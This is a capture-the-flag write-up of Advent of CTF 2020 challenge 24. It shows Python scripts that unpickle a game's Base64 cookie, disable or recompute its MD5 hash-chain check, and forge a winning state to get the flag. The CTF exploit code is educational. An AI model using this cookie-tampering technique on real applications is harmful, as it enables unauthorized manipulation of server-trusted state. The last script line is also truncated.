Post

Write-Up Advent of CTF 2020 Challenge 24

Overview

The NOVI University Of Applied Sciences is offering an Advent CTF challenge for December 2020. The CTF is created by our community member of the Hackdewereld.nl and Chief Lecturer for Cyber Security at the NOVI University, Arjen Wiersma. If you want to participate in these CTF challenges, you can create an account on the website https://www.adventofctf.com.

Challenge 24

  • Description: The final battle! The elves want revenge for their lost game! They have enhanced the tic-tac-toe game with blockchain technology. Cyber Security on the Blockchain will revolutionize everything, but most importantly ensure they will win this time. No cheating Santa!
  • 2400 Points

Author Notes
When working on this challenge, I noticed that various CTF players are getting the flag very fast. After asking them how they could retrieve the flag so quickly; the responded that they have find a unintended way. After trying some around, I found the unintended way and I’ve solved this challenge. But, there is also an intended way. I share both solutions in this write-up.

This is the final challenge of Advent of CTF 2020! It’s again a tic-tac-toe game, like Challenge 20 only with added security enhances based on the Blockchain principle. Let’s check this out! We visit the challenge URL https://24.adventofctf.com, and we are landing on this webpage.

Advent of CTF Challenge 24 Start Page

Challenge 20 relies on a serialization vulnerability, which is stored in the cookie. So, we can immediately check the cookie for more information. This cookie with the name game is stored in our internet browser.

gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhOaAZoBmVlWAQAAAB0dXJucQhoBFgIAAAAZmluaXNoZWRxCYlYBgAAAHdpbm5lcnEKTlgEAAAAc2FuZXELiFgKAAAAYmxvY2tjaGFpbnEMiFgFAAAAY2hhaW5xDV1xDih9cQ8oaAFdcRAoXXERKE5OTmVdcRIoTk5OZV1xEyhOTmgGZWVYBAAAAHByZXZxFFggAAAAY2VmMjE1YzViZThjZjYzZmNmM2Q0M2VjZjI1MTBiMzNxFVgEAAAAaGFzaHEWWCAAAABlN2RjOGUxZjdhNjc4OGJjMGNiNjg0MTUzOGIyMTZlOHEXdX1xGChoAV1xGShdcRooaAROTmVdcRsoTk5OZV1xHChOTmgGZWVoFGgXaBZYIAAAAGZjOTMyMzZiNWVlYTVmMWQ1NWUyYjViMzA4ZDY3MzkwcR11fXEeKGgBXXEfKF1xIChoBE5OZV1xIShOaAZOZV1xIihOTmgGZWVoFGgdaBZYIAAAAGE4ZGMwZDNkYTI5MGQxZTg5NGVhYWZmY2I5ODM5OGM5cSN1fXEkKGgBXXElKF1xJihoBGgETmVdcScoTmgGTmVdcSgoTk5oBmVlaBRoI2gWWCAAAABlNzRmNWIyMmY1MjEzYmE0YzI0NDk3NTljZTkxYzJhYXEpdX1xKihoAV1xKyhdcSwoaARoBE5lXXEtKE5oBmgGZV1xLihOTmgGZWVoFGgpaBZYIAAAAGVmMjU1MTRkZmZiZjgyNDdjZmY2MDYzYmU5MGYyZDU0cS91fXEwKGgBXXExKF1xMihoBGgETmVdcTMoaARoBmgGZV1xNChOTmgGZWVoFGgvaBZYIAAAAGUzYTRjMDM3YmRmMTU0YjM0NGVkOWJkMTY0M2E2MjlkcTV1fXE2KGgBXXE3KF1xOChoBGgETmVdcTkoaARoBmgGZV1xOihOaAZoBmVlaBRoNWgWWCAAAABjMjQwZmExNjE3MzdjOTY3ZWNlNWZkOTQ2NzJhYjBmOHE7dWV1Lg==

It’s a Base64 encoded cookie. After decoding the cookie, we find the information which is stored in the cookie.

1
2
3
4
..}q.(X….boardq.]q.(]q.(X….Oq.h.Ne]q.(h.X….Xq.h.e]q.(Nh.h.eeX….turnq.h.X….finishedq.X….winnerq
 NX….saneq..X
 …blockchainq..X….chainq
 ]q.(}q.(h.]q.(]q.(NNNe]q.(NNNe]q.(NNh.eeX….prevq.X …cef215c5be8cf63fcf3d43ecf2510b33q.X….hashq.X …e7dc8e1f7a6788bc0cb6841538b216e8q.u}q.(h.]q.(]q.(h.NNe]q.(NNNe]q.(NNh.eeh.h.h.X …fc93236b5eea5f1d55e2b5b308d67390q.u}q.(h.]q.(]q (h.NNe]q!(Nh.Ne]q"(NNh.eeh.h.h.X …a8dc0d3da290d1e894eaaffcb98398c9q#u}q$(h.]q%(]q&(h.h.Ne]q'(Nh.Ne]q((NNh.eeh.h#h.X …e74f5b22f5213ba4c2449759ce91c2aaq)u}q*(h.]q+(]q,(h.h.Ne]q-(Nh.h.e]q.(NNh.eeh.h)h.X …ef25514dffbf8247cff6063be90f2d54q/u}q0(h.]q1(]q2(h.h.Ne]q3(h.h.h.e]q4(NNh.eeh.h/h.X …e3a4c037bdf154b344ed9bd1643a629dq5u}q6(h.]q7(]q8(h.h.Ne]q9(h.h.h.e]q:(Nh.h.eeh.h5h.X …c240fa161737c967ece5fd94672ab0f8q;ueu.

We can use Pickle to deserialize the information. But first, from the source code of the webpage, we can find this Python script. This script is showing the calculation of the blocks, used by Blockchain technology.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def hash_string(string):
    return hashlib.md5(string.encode('utf-8')).hexdigest()

def hash_row(row):
    conv = lambda i : i or ' '
    res = [conv(i) for i in row] 
    return hash_string(' '.join(res))

def hash_board(board):
    acc = ""
    for row in board:
        acc += hash_row(row)
    return acc

def verify_chain(game):
    board=game["board"]
    chain = game["chain"]

    if len(chain) > 0:
        if board != chain[-1]["board"]:
            return False
        
    for i in range(len(chain)):
        block=chain[i]
        h = hash_board(block["board"])
        h = hash_string(h + block["prev"])
        if h != block["hash"]:
            return False
    return True

Unintended Solution

After the deserialization of the cookie, we have only to change the winner to X and set the value blockchain to False. In this scenario, the chain will not be checked and we can dump this data with Pickle and encode it with Base64 encoding, and after applying this cookie in our internet browser, we get the flag presented.

1
2
3
4
5
6
import pickle
import base64

data = {'board': [['O', 'O', None], ['O', 'X', 'X'], [None, 'X', 'X']], 'turn': 'O', 'finished': True, 'winner': 'X', 'sane': True, 'blockchain': False, 'chain': [{'board': [[None, None, None], [None, None, None], [None, None, 'X']], 'prev': 'cef215c5be8cf63fcf3d43ecf2510b33', 'hash': 'e7dc8e1f7a6788bc0cb6841538b216e8'}, {'board': [['O', None, None], [None, None, None], [None, None, 'X']], 'prev': 'e7dc8e1f7a6788bc0cb6841538b216e8', 'hash': 'fc93236b5eea5f1d55e2b5b308d67390'}, {'board': [['O', None, None], [None, 'X', None], [None, None, 'X']], 'prev': 'fc93236b5eea5f1d55e2b5b308d67390', 'hash': 'a8dc0d3da290d1e894eaaffcb98398c9'}, {'board': [['O', 'O', None], [None, 'X', None], [None, None, 'X']], 'prev': 'a8dc0d3da290d1e894eaaffcb98398c9', 'hash': 'e74f5b22f5213ba4c2449759ce91c2aa'}, {'board': [['O', 'O', None], [None, 'X', 'X'], [None, None, 'X']], 'prev': 'e74f5b22f5213ba4c2449759ce91c2aa', 'hash': 'ef25514dffbf8247cff6063be90f2d54'}, {'board': [['O', 'O', None], ['O', 'X', 'X'], [None, None, 'X']], 'prev': 'ef25514dffbf8247cff6063be90f2d54', 'hash': 'e3a4c037bdf154b344ed9bd1643a629d'}, {'board': [['O', 'O', None], ['O', 'X', 'X'], [None, 'X', 'X']], 'prev': 'e3a4c037bdf154b344ed9bd1643a629d', 'hash': 'c240fa161737c967ece5fd94672ab0f8'}]}

print(base64.b64encode(pickle.dumps(data)).decode('utf-8'))

Solution

This is the intended solution and it’s much more difficult than the unintended solution. To solve this game and letter Santa win, we have only to replace the last board with the winning one. After some time of scripting, I came with this script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import pickle
import base64
import hashlib


def hash_string(string):
    return hashlib.md5(string.encode('utf-8')).hexdigest()


def hash_row(row):
    def conv(i): return i or ' '
    res = [conv(i) for i in row]
    return hash_string(' '.join(res))


def hash_board(board):
    acc = ""
    for row in board:
        acc += hash_row(row)
    return acc


def verify_chain(game):
    board = game["board"]
    chain = game["chain"]

    if len(chain) > 0:
        if board != chain[-1]["board"]:
            return False

    for i in range(len(chain)):
        block = chain[i]
        h = hash_board(block["board"])
        h = hash_string(h + block["prev"])
        if h != block["hash"]:
            return False
    return True
1
2
game = "gAN9cQAoWAUAAABib2FyZHEBXXECKF1xAyhYAQAAAE9xBGgETmVdcQUoaARYAQAAAFhxBmgGZV1xByhOaAZoBmVlWAQAAAB0dXJucQhoBFgIAAAAZmluaXNoZWRxCYlYBgAAAHdpbm5lcnEKWAAAAABxC1gEAAAAc2FuZXEMiFgKAAAAYmxvY2tjaGFpbnENiFgFAAAAY2hhaW5xDl1xDyh9cRAoaAFdcREoXXESKE5OTmVdcRMoTk5OZV1xFChOTmgGZWVYBAAAAHByZXZxFVggAAAAY2VmMjE1YzViZThjZjYzZmNmM2Q0M2VjZjI1MTBiMzNxFlgEAAAAaGFzaHEXWCAAAABlN2RjOGUxZjdhNjc4OGJjMGNiNjg0MTUzOGIyMTZlOHEYdX1xGShoAV1xGihdcRsoaAROTmVdcRwoTk5OZV1xHShOTmgGZWVoFWgYaBdYIAAAAGZjOTMyMzZiNWVlYTVmMWQ1NWUyYjViMzA4ZDY3MzkwcR51fXEfKGgBXXEgKF1xIShoBE5OZV1xIihOaAZOZV1xIyhOTmgGZWVoFWgeaBdYIAAAAGE4ZGMwZDNkYTI5MGQxZTg5NGVhYWZmY2I5ODM5OGM5cSR1fXElKGgBXXEmKF1xJyhoBGgETmVdcSgoTmgGTmVdcSkoTk5oBmVlaBVoJGgXWCAAAABlNzRmNWIyMmY1MjEzYmE0YzI0NDk3NTljZTkxYzJhYXEqdX1xKyhoAV1xLChdcS0oaARoBE5lXXEuKE5oBmgGZV1xLyhOTmgGZWVoFWgqaBdYIAAAAGVmMjU1MTRkZmZiZjgyNDdjZmY2MDYzYmU5MGYyZDU0cTB1fXExKGgBXXEyKF1xMyhoBGgETmVdcTQoaARoBmgGZV1xNShOTmgGZWVoFWgwaBdYIAAAAGUzYTRjMDM3YmRmMTU0YjM0NGVkOWJkMTY0M2E2MjlkcTZ1fXE3KGgBXXE4KF1xOShoBGgETmVdcTooaARoBmgGZV1xOyhOaAZoBmVlaBVoNmgXWCAAAABjMjQwZmExNjE3MzdjOTY3ZWNlNWZkOTQ2NzJhYjBmOHE8dWV1Lg=="
game = pickle.loads(base64.b64decode(game))

Configuring the winning payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
payload_board = game['board'] = [['O', 'O', 'X'],
                                 ['O', 'None', 'X'], ['None', 'X', 'X']]
game['finished'] = True
game['winner'] = 'X'

# Replace last chain with winning playload
game['chain'][-1]['board'] = payload_board

# Configure the blocks
calc = hash_board(game['chain'][-1]["board"])
calc = hash_string(calc + game['chain'][-1]["prev"])
game['chain'][-1]['hash'] = calc

print( base64.b64encode(pickle.dumps(game)

After running this script, the result is showing a new encoded base64 cookie. After replacing the current cookie in the internet browser with the new one, Santa is the winner and the flag is presented on the screen. The flag: NOVI{blockchain_cyb3r_security}.

Advent of CTF Challenge 24 flag

Thanks for reading!

This post is licensed under CC BY 4.0 by the author.